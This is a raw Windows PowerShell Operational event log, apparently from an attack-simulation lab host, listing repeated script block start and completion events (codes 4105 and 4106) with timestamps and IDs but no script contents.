Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647645
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647644
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647643
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647642
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647641
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647639
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647638
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647637
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647656
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647655
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647654
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647653
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647652
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647651
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647650
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647649
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647647
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647665
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647664
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647663
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647661
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647660
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647659
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647658
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647657
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647676
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647675
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647674
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647673
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647672
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647671
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647670
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647669
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647668
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647667
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647686
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647685
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647683
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647682
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647681
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647679
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647678
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647677
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647695
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647694
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647693
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
